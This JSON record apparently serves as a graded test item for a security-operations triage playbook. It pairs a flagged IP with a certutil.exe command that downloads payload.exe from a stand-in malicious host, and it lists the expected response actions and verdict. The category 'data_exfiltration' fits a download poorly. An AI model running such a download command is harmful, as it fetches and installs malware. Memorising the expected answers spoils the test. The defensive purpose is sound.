{"playbook_version":2,"artifacts":[{"id":"artifact_1","type":"ip","value":"203.0.113.25","is_critical":true,"osint_result":{"source":"AbuseIPDB","verdict":"malicious","details":"IP reported 847 times for hosting malware"}},{"id":"artifact_2","type":"command","value":"certutil.exe -urlcache -split -f http://malicious-server.com/payload.exe","is_critical":true,"osint_result":{"source":"Hybrid Analysis","verdict":"malicious","details":"Use of certutil.exe for downloading malware payloads is a known tactic"}}],"expected_actions":["block_ip","isolate_host","collect_forensics"],"expected_verdict":"true_positive","expected_category":"data_exfiltration","analysis_notes":"The connection to a known malicious IP and use of certutil.exe to download a payload indicates a data exfiltration attempt."}